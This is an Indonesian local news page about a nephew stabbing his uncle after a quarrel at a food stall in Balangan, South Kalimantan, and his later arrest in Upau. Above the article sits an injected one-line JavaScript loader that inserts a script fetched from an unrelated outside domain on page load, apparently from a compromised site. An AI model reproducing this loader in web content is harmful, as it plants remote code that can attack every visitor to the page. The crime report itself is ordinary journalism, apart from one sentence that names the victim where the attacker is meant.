(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL BALANGAN

Berawal Cekcok Perilaku ke Gadis Warung, Ponakan Aniaya Paman Dibekuk di Upau


KANALKALIMANTAN.COM, PARINGIN – Seorang pria paruh baya berinisal MU, 53 tahun, menjadi korban penganiayaan keponakan sendiri di Desa Hukai, Kecamatan Juai, Kabupaten Balangan. Lantaran cekcok mulut yang terjadi antara paman dan keponakan tersebut di sebuah warung.

Kapolres Balangan melalui Kapolsek Juai Ipda Paisal Kadapi mengungkapkan, pelaku penganiayaan adalah HN (37). Penganiayaan yang dilakukan HN menggunakan senjata tajam berjenis belati.

“Penganiayaan ini dilatarbelakangi rasa amarah, karena pelaku ini merasa tersinggung terhadap perilaku tidak sopan korban kepada gadis yang menjaga warung, pelaku ini sudah berusaha menegur tindakan korban, namun tidak digubris dan malah dimarahi balik oleh korban,” ucap Kapolsek Juai, Selasa (24/3/2020).

Ipda Paisal menceritakan, kejadian ini terjadi akhir Januari lalu, tepatnya pada Sabtu 24 Januari 2020. Sebelum terjadinya penganiayaan,  pelaku dan korban yang masih memiliki hubungan keluarga ini, awalnya sedang bersantai dalam sebuah warung.

“Karena ada cekcok dan tidak ingin terjadi hal-hal yang tidak diinginkan, pelaku ini lalu menyuruh korban untuk menenangkan diri dan pulang, tanpa sepatah kata apapun korban akhirnya pulang, diikuti kemudian oleh pelaku, namun tidak berselang lama MU malah kembali lagi ke lokasi warung, sambil membawa parang, saat berpapasan di jalan dengan HN terjadilah perkelahian di antara keduanya,” kata Kapolsek Juai.

HN pelaku penganiayaan beserta barang bukti. Foto: polres balangan

Mengetahui akan diserang, korban bergerak cepat menarik belati dari dalam pinggangnya dan langsung menusukkannya ke arah korban, akibatnya MU pun mengalami luka pada bagian lengan kiri dan dada sebelah kiri tubuh korban.

Korban kemudian menjauh untuk meminta pertolongan warga setempat, sedangkan HN yang panik langsung memacu kendaraannya pulang ke rumah.

“Pelaku HN setelah kejadian memang sering berpindah-pindah lokasi. sehingga menyulitkan anggota kami untuk menemukan keberadaannya, dari pondok di dalam hutan sekitaran rumahnya, ke daerah Tabalong, hingga Provinsi Kaltim, namun masa pelarian HN tidak berlangsung lama, karena berkat kerja keras dan upaya yang telah kami lakukan bersama-sama dengan unit Buser Polres Tabalong akhirnya pelaku bisa kita amankan,” tutur Ipda Paisal.

Pelaku ditangkap di Desa Bilas Kecamatan Upau, Kabupaten Tabalong. Pelaku akan dijerat dengan pasal 351 ayat (2) tentang penganiayaan. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie


Al Ghifari

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.